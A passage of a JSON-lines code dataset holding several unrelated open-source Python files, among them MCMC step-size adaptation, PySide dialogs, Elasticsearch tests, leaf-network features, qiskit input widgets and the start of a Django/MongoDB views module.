epsilon.\n \"\"\"\n self._epsilon = epsilon\n self._mu = np.log(10 * self._epsilon)\n self._log_epsilon_bar = np.log(1)\n self._h_bar = 0.0\n self._adapt_epsilon_counter = 0\n\n def init_sample_covariance(self, size):\n \"\"\"\n Start a new adaption window for the inverse mass matrix.\n \"\"\"\n n_params = self._inv_mass_matrix.shape[0]\n self._samples = np.empty((n_params, size))\n self._num_samples = 0\n\n def set_inv_mass_matrix(self, inv_mass_matrix):\n \"\"\"\n We calculate the mass matrix whenever the inverse mass matrix is set.\n \"\"\"\n if inv_mass_matrix.ndim == 1:\n self._mass_matrix = 1.0 / inv_mass_matrix\n self._inv_mass_matrix = inv_mass_matrix\n self._use_dense_mass_matrix = False\n else:\n try:\n self._mass_matrix = np.linalg.inv(inv_mass_matrix)\n except np.linalg.LinAlgError:\n print('WARNING: adapted mass matrix is ill-conditioned')\n return\n self._inv_mass_matrix = inv_mass_matrix\n self._use_dense_mass_matrix = True\n\n def step(self, x, accept_prob):\n \"\"\"\n Perform a single step of the adaption.\n\n Parameters\n ----------\n x: ndarray\n The next accepted mcmc parameter point.\n accept_prob: float\n The acceptance probability of the last NUTS/HMC mcmc step.\n\n \"\"\"\n\n if not self._adapting:\n return\n\n self._counter += 1\n\n if self._counter >= self._warmup_steps:\n self._epsilon = self.final_epsilon()\n self._adapting = False\n return False\n\n self.adapt_epsilon(accept_prob)\n if self._counter > self._initial_window:\n self.add_parameter_sample(x)\n\n if self._counter >= self._next_window:\n self.set_inv_mass_matrix(self.calculate_sample_variance())\n if self._counter >= self._warmup_steps - self._terminal_window:\n self._next_window = self._warmup_steps\n else:\n self._base_window *= 2\n self._next_window = min(\n self._counter + self._base_window,\n self._warmup_steps - self._terminal_window\n )\n self.init_sample_covariance(self._next_window - self._counter)\n return True\n #self._epsilon = self.final_epsilon()\n\n return False\n\n def target_accept_prob(self):\n \"\"\"\n Returns the target acceptance probability.\n \"\"\"\n return self._target_accept_prob\n\n def use_dense_mass_matrix(self):\n \"\"\"\n Returns a boolean flag whether the adaption algorithm uses a dense\n (``True``) or a diagonal (``False``) mass matrix.\n \"\"\"\n return self._use_dense_mass_matrix\n\n def warmup_steps(self):\n \"\"\"\n Returns the number of warm up iterations.\n \"\"\"\n return self._warmup_steps\n","repo_name":"pints-team/pints","sub_path":"pints/_mcmc/_dual_averaging.py","file_name":"_dual_averaging.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"75"} +{"seq_id":"10829223645","text":"import os\nfrom os.path import abspath, dirname\ntry:\n from PySide6.QtCore import Qt, QSize, QPoint, QCoreApplication, QFile\n from PySide6.QtWidgets import QApplication, QDialog, QComboBox, QLayout\n from PySide6.QtWidgets import QVBoxLayout, QGroupBox, QGridLayout, QSizePolicy\n from PySide6.QtWidgets import QDialogButtonBox, QCheckBox, QSpinBox, QLabel\n from PySide6.QtUiTools import QUiLoader\nexcept ModuleNotFoundError:\n from PySide2.QtCore import Qt, QSize, QPoint, QCoreApplication, QFile\n from PySide2.QtWidgets import QApplication, QDialog, QComboBox, QLayout\n from PySide2.QtWidgets import QVBoxLayout, QGroupBox, QGridLayout, QSizePolicy\n from PySide2.QtWidgets import QDialogButtonBox, QCheckBox, QSpinBox, QLabel\n from PySide2.QtUiTools import QUiLoader\n \n\ndef simpleComboDlg():\n dlg = QDialog()\n vLayout = QVBoxLayout(dlg)\n combo = QComboBox(dlg)\n combo.setSizeAdjustPolicy(QComboBox.AdjustToContents)\n #combo.setIconSize(QSize(0,0))\n vLayout.addWidget(combo)\n\n combo.addItem(\"Run & Check\")\n #combo.setMinimumContentsLength(11)\n combo.setCurrentIndex(0)\n return dlg\n\ndef retracerDlg():\n dlg = QDialog()\n dlg.setWindowModality(Qt.ApplicationModal)\n dlg.resize(238, 282)\n dlg.setModal(True)\n vLayout = QVBoxLayout(dlg)\n #vLayout.setSizeConstraint(QLayout.SetFixedSize)\n\n checkboxesLayout = QVBoxLayout()\n checkboxesLayout.setObjectName(\"checkboxesLayout\")\n doubleBufferingCB = QCheckBox(dlg)\n doubleBufferingCB.setObjectName(\"doubleBufferingCB\")\n\n checkboxesLayout.addWidget(doubleBufferingCB)\n\n coreProfileCB = QCheckBox(dlg)\n coreProfileCB.setObjectName(\"coreProfileCB\")\n\n checkboxesLayout.addWidget(coreProfileCB)\n\n errorCheckCB = QCheckBox(dlg)\n errorCheckCB.setObjectName(\"errorCheckCB\")\n errorCheckCB.setChecked(True)\n\n checkboxesLayout.addWidget(errorCheckCB)\n\n singlethreadCB = QCheckBox(dlg)\n singlethreadCB.setObjectName(\"singlethreadCB\")\n\n checkboxesLayout.addWidget(singlethreadCB)\n\n\n vLayout.addLayout(checkboxesLayout)\n\n queriesGroupBox = QGroupBox(dlg)\n sizePolicy = QSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(queriesGroupBox.sizePolicy().hasHeightForWidth())\n queriesGroupBox.setSizePolicy(sizePolicy)\n gridLayout = QGridLayout(queriesGroupBox)\n gridLayout.setObjectName(\"gridLayout\")\n queryCheckReportThreshold = QSpinBox(queriesGroupBox)\n queryCheckReportThreshold.setObjectName(\"queryCheckReportThreshold\")\n queryCheckReportThreshold.setMaximum(100000)\n queryCheckReportThreshold.setSingleStep(10)\n\n gridLayout.addWidget(queryCheckReportThreshold, 2, 1, 1, 1)\n\n checkThresholdLabel = QLabel(queriesGroupBox)\n checkThresholdLabel.setObjectName(\"checkThresholdLabel\")\n\n gridLayout.addWidget(checkThresholdLabel, 2, 0, 1, 1)\n\n handlingLabel = QLabel(queriesGroupBox)\n handlingLabel.setObjectName(\"handlingLabel\")\n\n gridLayout.addWidget(handlingLabel, 1, 0, 1, 1)\n\n combo = QComboBox(queriesGroupBox)\n combo.setObjectName(\"queryHandlingSelector\")\n combo.setSizeAdjustPolicy(QComboBox.AdjustToContents)\n #combo.setIconSize(QSize(0,0))\n gridLayout.addWidget(combo, 1, 1, 1, 1)\n\n vLayout.addWidget(queriesGroupBox)\n\n dlg.setWindowTitle(QCoreApplication.translate(\"RetracerDialog\", \"Retracer Configuration\", None))\n doubleBufferingCB.setText(QCoreApplication.translate(\"RetracerDialog\", \"Use double buffering\", None))\n coreProfileCB.setText(QCoreApplication.translate(\"RetracerDialog\", \"Use core profile\", None))\n errorCheckCB.setText(QCoreApplication.translate(\"RetracerDialog\", \"Error checking\", None))\n singlethreadCB.setText(QCoreApplication.translate(\"RetracerDialog\", \"Singlethread\", None))\n queriesGroupBox.setTitle(QCoreApplication.translate(\"RetracerDialog\", \"Queries\", None))\n checkThresholdLabel.setText(QCoreApplication.translate(\"RetracerDialog\", \"Check threshold:\", None))\n handlingLabel.setText(QCoreApplication.translate(\"RetracerDialog\", \"Handling:\", None))\n combo.setCurrentText(\"\")\n\n\n combo.addItem(\"Skip\")\n combo.addItem(\"Run\")\n combo.addItem(\"Run & Check\")\n #combo.setMinimumContentsLength(11)\n combo.setCurrentIndex(0)\n return dlg\n\ndef retracerDlgFromUiFile():\n loader = QUiLoader()\n file = QFile(f\"{abspath(dirname(__file__))}/retracerdialog.ui\")\n file.open(QFile.ReadOnly)\n dlg = loader.load(file)\n file.close()\n\n #print(dir(Qt.WindowModality))\n dlg.verticalLayout.setSizeConstraint(QLayout.SetDefaultConstraint)\n #dlg.setWindowModality(Qt.NonModal)\n #dlg.setModal(False)\n \n dlg.queryHandlingSelector.addItem(\"Skip\") \n dlg.queryHandlingSelector.addItem(\"Run\") \n dlg.queryHandlingSelector.addItem(\"Run & Check\") \n dlg.queryHandlingSelector.setCurrentIndex(0)\n dlg.queryHandlingSelector.setPlaceholderText(\"Foo\")\n return dlg\n\n\nif __name__ == \"__main__\":\n app = QApplication()\n\n #dialogs = [ simpleComboDlg(), retracerDlg() ]\n dialogs = [ retracerDlg(), retracerDlgFromUiFile() ]\n\n prevPos = QPoint(500, 500)\n for dialog in dialogs:\n dialog.move(prevPos)\n dialog.show() \n prevPos = prevPos + QPoint(dialog.width(), 0)\n app.exec_()\n","repo_name":"keithel/qapitrace-combobox-elide-bug","sub_path":"qapitrace-combobox-elide-bug.py","file_name":"qapitrace-combobox-elide-bug.py","file_ext":"py","file_size_in_byte":5327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23116444313","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nUnit tests for pyes. These require an es server with thrift plugin running on the default port (localhost:9500).\n\"\"\"\nimport unittest\nfrom pyes.tests import ESTestCase\nfrom pyes import TermQuery\nfrom pyes.exceptions import IndexAlreadyExistsException\nfrom time import sleep\n\nclass IndexingTestCase(ESTestCase):\n def setUp(self):\n super(IndexingTestCase, self).setUp()\n self.conn.delete_index_if_exists(\"test-index\")\n self.conn.delete_index_if_exists(\"test-index2\")\n self.conn.delete_index_if_exists(\"another-index\")\n self.conn.create_index(\"test-index\")\n self.conn.create_index(\"test-index2\")\n\n def tearDown(self):\n self.conn.delete_index_if_exists(\"test-index\")\n self.conn.delete_index_if_exists(\"test-index2\")\n self.conn.delete_index_if_exists(\"another-index\")\n\n def testCollectInfo(self):\n \"\"\"\n Testing collecting server info\n \"\"\"\n result = self.conn.collect_info()\n self.assertTrue(result.has_key('server'))\n self.assertTrue(result['server'].has_key('name'))\n self.assertTrue(result['server'].has_key('version'))\n\n def testIndexingWithID(self):\n \"\"\"\n Testing an indexing given an ID\n \"\"\"\n result = self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\", 1)\n self.assertResultContains(result, {'_type': 'test-type', '_id': '1', 'ok': True, '_index': 'test-index'})\n\n def testIndexingWithoutID(self):\n \"\"\"Testing an indexing given without ID\"\"\"\n result = self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\")\n self.assertResultContains(result, {'_type': 'test-type', 'ok': True, '_index': 'test-index'})\n # should have an id of some value assigned.\n self.assertTrue(result.has_key('_id') and result['_id'])\n\n def testExplicitIndexCreate(self):\n \"\"\"Creazione indice\"\"\"\n self.conn.delete_index(\"test-index2\")\n result = self.conn.create_index(\"test-index2\")\n self.assertResultContains(result, {'acknowledged': True, 'ok': True})\n\n def testDeleteByID(self):\n self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\", 1)\n self.conn.refresh([\"test-index\"])\n result = self.conn.delete(\"test-index\", \"test-type\", 1)\n self.assertResultContains(result, {'_type': 'test-type', '_id': '1', 'ok': True, '_index': 'test-index'})\n\n def testDeleteIndex(self):\n self.conn.create_index(\"another-index\")\n result = self.conn.delete_index(\"another-index\")\n self.assertResultContains(result, {'acknowledged': True, 'ok': True})\n\n def testCannotCreateExistingIndex(self):\n self.conn.create_index(\"another-index\")\n self.assertRaises(IndexAlreadyExistsException, self.conn.create_index, \"another-index\")\n self.conn.delete_index(\"another-index\")\n\n def testPutMapping(self):\n result = self.conn.put_mapping(\"test-type\", {\"test-type\" : {\"properties\" : {\"name\" : {\"type\" : \"string\", \"store\" : \"yes\"}}}}, indexes=[\"test-index\"])\n self.assertResultContains(result, {'acknowledged': True, 'ok': True})\n\n def testIndexStatus(self):\n self.conn.create_index(\"another-index\")\n result = self.conn.status([\"another-index\"])\n self.conn.delete_index(\"another-index\")\n self.assertTrue(result.has_key('indices'))\n self.assertResultContains(result, {'ok': True})\n\n def testIndexFlush(self):\n self.conn.create_index(\"another-index\")\n result = self.conn.flush([\"another-index\"])\n self.conn.delete_index(\"another-index\")\n self.assertResultContains(result, {'ok': True})\n\n def testIndexRefresh(self):\n self.conn.create_index(\"another-index\")\n result = self.conn.refresh([\"another-index\"])\n self.conn.delete_index(\"another-index\")\n self.assertResultContains(result, {'ok': True})\n\n def testIndexOptimize(self):\n self.conn.create_index(\"another-index\")\n result = self.conn.optimize([\"another-index\"])\n self.conn.delete_index(\"another-index\")\n self.assertResultContains(result, {'ok': True})\n\n\n def testGetByID(self):\n self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\", 1)\n self.conn.index({\"name\":\"Bill Baloney\"}, \"test-index\", \"test-type\", 2)\n self.conn.refresh([\"test-index\"])\n result = self.conn.get(\"test-index\", \"test-type\", 1)\n self.assertResultContains(result, {'_type': 'test-type', '_id': '1', '_source': {'name': 'Joe Tester'}, '_index': 'test-index'})\n\n def testGetCountBySearch(self):\n self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\", 1)\n self.conn.index({\"name\":\"Bill Baloney\"}, \"test-index\", \"test-type\", 2)\n self.conn.refresh([\"test-index\"])\n q = TermQuery(\"name\", \"joe\")\n result = self.conn.count(q, indexes=[\"test-index\"])\n self.assertResultContains(result, {'count': 1})\n\n# def testSearchByField(self):\n# result = self.conn.search(\"name:joe\")\n# self.assertResultContains(result, {'hits': {'hits': [{'_type': 'test-type', '_id': '1', '_source': {'name': 'Joe Tester'}, '_index': 'test-index'}], 'total': 1}})\n\n# def testTermsByField(self):\n# result = self.conn.terms(['name'])\n# self.assertResultContains(result, {'docs': {'max_doc': 2, 'num_docs': 2, 'deleted_docs': 0}, 'fields': {'name': {'terms': [{'term': 'baloney', 'doc_freq': 1}, {'term': 'bill', 'doc_freq': 1}, {'term': 'joe', 'doc_freq': 1}, {'term': 'tester', 'doc_freq': 1}]}}})\n# \n# def testTermsByIndex(self):\n# result = self.conn.terms(['name'], indexes=['test-index'])\n# self.assertResultContains(result, {'docs': {'max_doc': 2, 'num_docs': 2, 'deleted_docs': 0}, 'fields': {'name': {'terms': [{'term': 'baloney', 'doc_freq': 1}, {'term': 'bill', 'doc_freq': 1}, {'term': 'joe', 'doc_freq': 1}, {'term': 'tester', 'doc_freq': 1}]}}})\n#\n# def testTermsMinFreq(self):\n# result = self.conn.terms(['name'], min_freq=2)\n# self.assertResultContains(result, {'docs': {'max_doc': 2, 'num_docs': 2, 'deleted_docs': 0}, 'fields': {'name': {'terms': []}}})\n\n def testMLT(self):\n self.conn.index({\"name\":\"Joe Test\"}, \"test-index\", \"test-type\", 1)\n self.conn.index({\"name\":\"Joe Tester\"}, \"test-index\", \"test-type\", 2)\n self.conn.index({\"name\":\"Joe Tested\"}, \"test-index\", \"test-type\", 3)\n self.conn.refresh([\"test-index\"])\n sleep(0.5)\n result = self.conn.morelikethis(\"test-index\", \"test-type\", 1, ['name'], min_term_freq=1, min_doc_freq=1)\n del result[u'took']\n self.assertResultContains(result, {u'_shards': {u'successful': 5, u'failed': 0, u'total': 5}})\n self.assertTrue(u'hits' in result)\n self.assertResultContains(result['hits'], {u'hits': [\n {u'_score': 0.19178301, u'_type': u'test-type', u'_id': u'3', u'_source': {u'name': u'Joe Tested'}, u'_index': u'test-index', u'_version': 1},\n {u'_score': 0.19178301, u'_type': u'test-type', u'_id': u'2', u'_source': {u'name': u'Joe Tester'}, u'_index': u'test-index', u'_version': 1}\n ], u'total': 2, u'max_score': 0.19178301})\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"mihaiparaschiv/topic-tracking","sub_path":"external/python/lib/pyes/tests/indexing.py","file_name":"indexing.py","file_ext":"py","file_size_in_byte":7345,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"16522210675","text":"import os\nimport re\nimport sys\n\n\ndef split_example_file(example, dst_dir):\n lines = open(example, 'rU').readlines()\n\n target_lines = []\n target_require_lines = []\n\n found_requires = False\n found_code = False\n for line in lines:\n m = re.match(r'goog.require\\(\\'(.*)\\'\\);', line)\n if m:\n found_requires = True\n target_require_lines.append(line)\n elif found_requires:\n if found_code or line not in ('\\n', '\\r\\n'):\n found_code = True\n target_lines.append(line)\n\n target = open(\n os.path.join(dst_dir, os.path.basename(example)), 'wb')\n target_require = open(\n os.path.join(dst_dir, os.path.basename(example)\n .replace('.js', '-require.js')),\n 'wb')\n\n target.writelines(target_lines)\n target.close()\n\n target_require.writelines(target_require_lines)\n target_require.close()\n\n\nif __name__ == '__main__':\n split_example_file(*sys.argv[1:])\n","repo_name":"ILIAS-eLearning/ILIAS","sub_path":"libs/bower/bower_components/openlayers/bin/split-example.py","file_name":"split-example.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":352,"dataset":"github-code","pt":"75"} +{"seq_id":"27052108071","text":"import six\nimport bcolz\nimport numpy as np\nfrom pandas import DataFrame\n\nfrom rqalpha.environment import Environment\nfrom rqalpha.data.daybar_store import DayBarStore\nfrom rqalpha.data.risk_free_helper import YIELD_CURVE_TENORS\nfrom rqalpha.utils.datetime_func import convert_int_to_date\n\n\nclass HkYieldCurveMocker(object):\n def __init__(self):\n self._env = Environment.get_instance()\n self._tenors = list(six.itervalues(YIELD_CURVE_TENORS))\n\n def get_yield_curve(self, start_date, end_date, tenor):\n dates = self._env.data_proxy.get_trading_dates(start_date, end_date)\n\n if tenor is None:\n tenor = self._tenors\n\n if isinstance(tenor, six.string_types):\n tenor = [tenor]\n\n for t in tenor:\n if t not in self._tenors:\n raise KeyError(\"{} not in index\".format(t))\n\n return DataFrame(index=dates, data={\n t: [0.02] * len(dates) for t in tenor\n })\n\n @staticmethod\n def get_risk_free_rate(*_, **__):\n return 0.02\n\n\nclass HkDividendStore(object):\n def __init__(self, f):\n ct = bcolz.open(f, 'r')\n self._index = ct.attrs['line_map']\n self._table = np.empty((len(ct), ), dtype=np.dtype([\n ('ex_dividend_date', '= numNodes:\n offset = 1\n else:\n offset = numNodes / numServers\n serverList = []\n if offset == 1:\n for i in xrange(0, min(numNodes, numServers)):\n serverList.append(nodeList[i])\n else:\n for i in xrange(0, numNodes, offset):\n serverList.append(nodeList[i])\n return serverList\n\n\ndef main():\n if(len(sys.argv) != 4):\n print(\"python buildNutcracker.py $(ENVIRONMENT) $(PREFIX) $(NUMBER_OF_SERVERS)\")\n exit(1)\n #Get nodelist\n environ = sys.argv[1]\n prefix = sys.argv[2]\n numberOfServers = int(sys.argv[3])\n fullList = []\n #fullList = genSlurmList(\"cn\")\n #fullList = genCrayList(\"nid000\"i)\n if environ == \"SLURM\":\n fullList = genSlurmList(prefix)\n elif environ == \"cray\":\n fullList = genCrayList(prefix)\n else:\n print(\"We only support SLURM and cray currently\")\n exit(1)\n #print(fullList)\n #Select which nodes are servers\n serverList = selectServerNodes(fullList, numberOfServers)\n #print(serverList)\n #Make configs\n buildConfigs(serverList)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"exmatex/CoEVP","sub_path":"twemproxy/buildNutcracker.py","file_name":"buildNutcracker.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71722862642","text":"import numpy as np\nimport networkx as nx\nfrom matplotlib import pyplot as plt\n\nfrom scripts.NET.decomposer import hierarchical_decomposition\nfrom scripts.NET.analyzer import analyze_tree, topological_length_for_edge, \\\n weighted_line_graph, vein_distance_net\n\n\n### HELPER FUNCTIONS ###\n\ndef polygon_area(x, y):\n \"\"\"\n Calculate the area of an arbitrary polygon.\n \"\"\"\n return 0.5 * (np.abs(np.dot(x, np.roll(y, 1)) - np.dot(y, np.roll(x, 1))))\n\n\ndef get_total_leaf_area(G, cycles):\n \"\"\"\n This function calculates each invidual basis cycle area, adds all the areas and\n returns the total sum, which corresponds to the leaf area.\n \"\"\"\n node_positions = nx.get_node_attributes(G,'pos')\n total_leaf_area = 0\n\n for cycle in cycles:\n x = []\n y = []\n for node in cycle:\n pos = node_positions[node]\n x.append(pos[0])\n y.append(pos[1])\n leaf_area = polygon_area(np.array(x), np.array(y))\n total_leaf_area += leaf_area\n\n return total_leaf_area\n\n\ndef get_total_vein_length(G):\n sum_vein = 0\n for edge in G.edges():\n sum_vein += G.get_edge_data(*edge)['length']\n return sum_vein\n\n\n### GEOMETRICAL FEATURES ###\n\ndef n_nodes(G, cycles):\n \"\"\"\n Return number of nodes.\n \"\"\"\n return nx.number_of_nodes(G)\n\n\ndef n_edges(G, cycles):\n \"\"\"\n Return number of edges.\n \"\"\"\n return nx.number_of_edges(G)\n\n\ndef average_node_degree(G, cycles):\n return np.mean(list(G.degree().values()))\n\n\ndef vein_density(G, cycles):\n \"\"\"\n Return vein length per area.\n \"\"\"\n total_vein_length = get_total_vein_length(G)\n total_leaf_area = get_total_leaf_area(G, cycles)\n return total_vein_length / total_leaf_area\n\n\ndef areole_area(G, cycles):\n \"\"\"\n Return mean areole area.\n \"\"\"\n total_leaf_area = get_total_leaf_area(G, cycles)\n return total_leaf_area / len(cycles)\n\n\ndef areole_density(G, cycles):\n \"\"\"\n Return number of areoles per area.\n \"\"\"\n no_cycles = len(cycles)\n total_leaf_area = get_total_leaf_area(G, cycles)\n return no_cycles / total_leaf_area\n\n\ndef weighted_vein_thickness(G, cycles):\n \"\"\"\n Return average product of length*radius for all edges.\n \"\"\"\n total_vein_length = get_total_vein_length(G)\n individual_weighted_vein_thickness = 0\n for edge in G.edges():\n individual_weighted_vein_thickness += G.get_edge_data(*edge)['radius']*G.get_edge_data(*edge)['length']\n weighted_vein_thickness = individual_weighted_vein_thickness / total_vein_length\n return weighted_vein_thickness\n\n\ndef vein_distance(G, cycles):\n \"\"\"\n Return average distance between veins approximated by the radii of\n circles inscribed into the areoles.\n \"\"\"\n return vein_distance_net(G, cycles)\n\n\n### TOPOLOGICAL ###\n\ndef topological_length(G, cycles):\n \"\"\"\n Return average tapering length, i.e. the number of nodes one can follow\n from an starting edge one follows the thickest neighboring edge that is\n smaller than then current edge. 'G' has to be clean, i.e. 'clean_graph'\n has been applied to it.\n \"\"\"\n total_length = 0\n line_graph = weighted_line_graph(G)\n for edge in line_graph.nodes():\n length, _, _ = topological_length_for_edge(line_graph, edge, G)\n total_length += length\n return total_length / (len(line_graph.nodes()))\n\n\ndef nesting_numbers(G, cycles):\n \"\"\"\n Return the number, i.e. the average left-right asymmetry in the nesting\n tree. 'G' has to be clean, i.e. 'clean_graph' has been applied to it.\n \"\"\"\n tree, _, _ = hierarchical_decomposition(G)\n tree_asymmetry_weighted, tree_asymmetry_weighted_no_ext, \\\n tree_asymmetry_unweighted, tree_asymmetry_unweighted_no_ext = analyze_tree(tree)\n\n nesting_number_weighted = 1 - tree_asymmetry_weighted\n nesting_number_weighted_no_ext = 1 - tree_asymmetry_weighted_no_ext\n nesting_number_unweighted = 1 - tree_asymmetry_unweighted\n nesting_number_unweighted_no_ext = 1 - tree_asymmetry_unweighted_no_ext\n\n return nesting_number_weighted, nesting_number_weighted_no_ext, \\\n nesting_number_unweighted, nesting_number_unweighted_no_ext\n","repo_name":"BeWe11/Leaf-architecture","sub_path":"scripts/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23811427330","text":"from PySide6.QtGui import QDragEnterEvent, QDropEvent\nfrom PySide6.QtWidgets import (\n QWidget,\n QVBoxLayout,\n QHBoxLayout,\n QLabel,\n QLineEdit,\n QPlainTextEdit,\n QPushButton,\n QFileDialog,\n QCheckBox,\n)\nfrom PySide6.QtCore import Qt, Signal\n\nfrom .expression_enum import QuantumExpression\nfrom .input_model import Input, QuantumCircuitInput, DiracInput, MatrixInput\n\n\nEXPRESSION_PLACEHOLDERS: dict[QuantumExpression:str] = {\n QuantumExpression.CIRCUIT: \"\"\"from qiskit import QuantumCircuit\nquantum_circuit = QuantumCircuit(2, 2)\nquantum_circuit.x(0)\nquantum_circuit.cx(0, 1)\n\"\"\",\n QuantumExpression.DIRAC: \"sqrt(2)*|00>/2+sqrt(2)*|11>/2\",\n QuantumExpression.MATRIX: \"\"\"[[1, 0, 0, 0],\n[0, 0, 0, 1],\n[0, 0, 1, 0],\n[0, 1, 0, 0]]\"\"\",\n QuantumExpression.NONE: \"\",\n}\n\n\nclass ExpressionPlainText(QPlainTextEdit):\n \"\"\"\n ExpressionPlainText\n \"\"\"\n\n file_dropped = Signal(object)\n\n def __init__(self, parent) -> None:\n super().__init__(parent=parent)\n self.setAcceptDrops(True)\n self.set_ui()\n\n def set_ui(self) -> None:\n \"\"\"\n set UI\n \"\"\"\n self.setFixedHeight(250)\n\n def dragEnterEvent(self, event: QDragEnterEvent) -> None:\n # pylint: disable=invalid-name\n \"\"\"\n handle drag event and accept only url\n \"\"\"\n if event.mimeData().hasUrls():\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event: QDropEvent) -> None:\n # pylint: disable=invalid-name\n \"\"\"\n handle drop event and emit file imported event\n \"\"\"\n if event.mimeData().hasUrls():\n files = [u.toLocalFile() for u in event.mimeData().urls()]\n self.file_dropped.emit(files)\n event.accept()\n\n def set_placeholder_text(self, expression: QuantumExpression) -> None:\n \"\"\"set placeholder for expression plain text\n\n Args:\n expression (QuantumExpression): selection\n \"\"\"\n self.setPlaceholderText(\"\")\n self.setPlaceholderText(EXPRESSION_PLACEHOLDERS[expression])\n\n\nclass InputWidget(QWidget):\n \"\"\"Widget group for certain input\"\"\"\n\n def set_ui(self) -> None:\n \"\"\"show widgets\"\"\"\n\n def get_input(self) -> Input:\n \"\"\"return user input\n\n Returns:\n Input: user input class\n \"\"\"\n return Input\n\n\nclass QuantumCircuitInputWidget(InputWidget):\n \"\"\"Widget group for QuantumCircuit Input\"\"\"\n\n file_imported = Signal(str)\n\n def __init__(self, parent: QWidget) -> None:\n super().__init__(parent)\n self.set_ui()\n\n def set_ui(self):\n \"\"\"set ui for QuantumCircuitInputWidget\"\"\"\n vbox = QVBoxLayout(self)\n vbox.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n value_name_box = QHBoxLayout()\n value_name_label = QLabel(\"value name\")\n value_name_box.addWidget(value_name_label)\n self.value_name_text = QLineEdit()\n self.value_name_text.setPlaceholderText(\"input value name of quantum circuit\")\n value_name_box.addWidget(self.value_name_text)\n\n load_box = QHBoxLayout()\n load_box.addStretch()\n self.load_push_button = QPushButton(\"or load...\")\n self.load_push_button.setMinimumWidth(150)\n self.load_push_button.clicked.connect(self.on_file_load_clicked)\n load_box.addWidget(self.load_push_button)\n\n vbox.addLayout(value_name_box)\n vbox.addLayout(load_box)\n\n def on_file_load_clicked(self) -> None:\n \"\"\"\n handling file dialog\n \"\"\"\n filename = QFileDialog.getOpenFileName(\n self, \"Open .py\", \"\", \"python3 script (*.py)\"\n )[0]\n self.file_imported.emit(filename)\n\n def get_input(self) -> QuantumCircuitInput:\n user_input = QuantumCircuitInput(\n self.value_name_text.text().strip(),\n )\n return user_input\n\n\nclass DiracInputWidget(InputWidget):\n \"\"\"Widget group for Dirac Notaion input\"\"\"\n\n def __init__(self, parent: QWidget) -> None:\n super().__init__(parent)\n self.set_ui()\n\n def get_input(self) -> DiracInput:\n return DiracInput()\n\n\nclass MatrixInputWidget(InputWidget):\n \"\"\"Widget group for matrix input\"\"\"\n\n matrix_plain_text: QPlainTextEdit\n num_cubit_text: QLineEdit\n do_measure_checkbox: QCheckBox\n\n def __init__(self, parent: QWidget) -> None:\n super().__init__(parent)\n self.set_ui()\n\n def set_ui(self):\n vbox = QVBoxLayout(self)\n vbox.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n hbox = QHBoxLayout()\n num_cubit_label = QLabel(\"number of cubit\")\n self.num_cubit_text = QLineEdit(self)\n self.num_cubit_text.setToolTip(\"input 3 digits number\")\n self.do_measure_checkbox = QCheckBox(\"do measure this circuit?\", self)\n self.do_measure_checkbox.setToolTip(\"do measure all qubits\")\n\n hbox.addWidget(num_cubit_label)\n hbox.addWidget(self.num_cubit_text)\n hbox.addWidget(self.do_measure_checkbox)\n vbox.addLayout(hbox)\n\n def get_input(self) -> Input:\n return MatrixInput(\n int(self.num_cubit_text.text()), self.do_measure_checkbox.isChecked()\n )\n","repo_name":"KMU-quantum-classroom/qiskit-classroom","sub_path":"qiskit_classroom/input_view.py","file_name":"input_view.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"36688048454","text":"import requests\r\nfrom django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom django.views import View\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin\r\nfrom pymongo import MongoClient\r\nfrom pymongo.errors import ServerSelectionTimeoutError\r\nfrom django.http import JsonResponse\r\nimport json\r\nfrom .models import ApiModel\r\nimport ThisApiForThatThing.util as util\r\n\r\nfrom django.conf import settings\r\n# Create your views here.\r\nbaseUrl = \"https://thisapiforthat.herokuapp.com\"\r\n# connect to mongodb\r\ntry:\r\n # get password from settings.py databases\r\n if settings:\r\n password = settings.PASSWORD\r\n databaseName = settings.NAME\r\n client = MongoClient(\r\n f\"mongodb+srv://Architrixs:{password}@cluster0.do1dd.mongodb.net/{databaseName}?retryWrites=true&w=majority\")\r\n db = client['Api']\r\n\r\n collection_ApiForApi = db['ApiForApi']\r\n collection_MetaData = db['MetaData']\r\n collection_Users = db['Users']\r\nexcept ServerSelectionTimeoutError:\r\n print(\"Server not found\")\r\n exit()\r\n\r\n\r\ndef setCookie(response, request, totalViews):\r\n # if cookie viewCount_ThisApiForThat exists don't do anything otherwise increment it\r\n if request.COOKIES.get('viewCount_ThisApiForThat') is None:\r\n # update totalViews in mongodb\r\n collection_MetaData.update_one(\r\n {'name': 'Views'},\r\n {'$inc': {'value': 1}}\r\n )\r\n response.set_cookie('viewCount_ThisApiForThat', totalViews + 1, max_age=60 * 60 * 24)\r\n\r\n else:\r\n 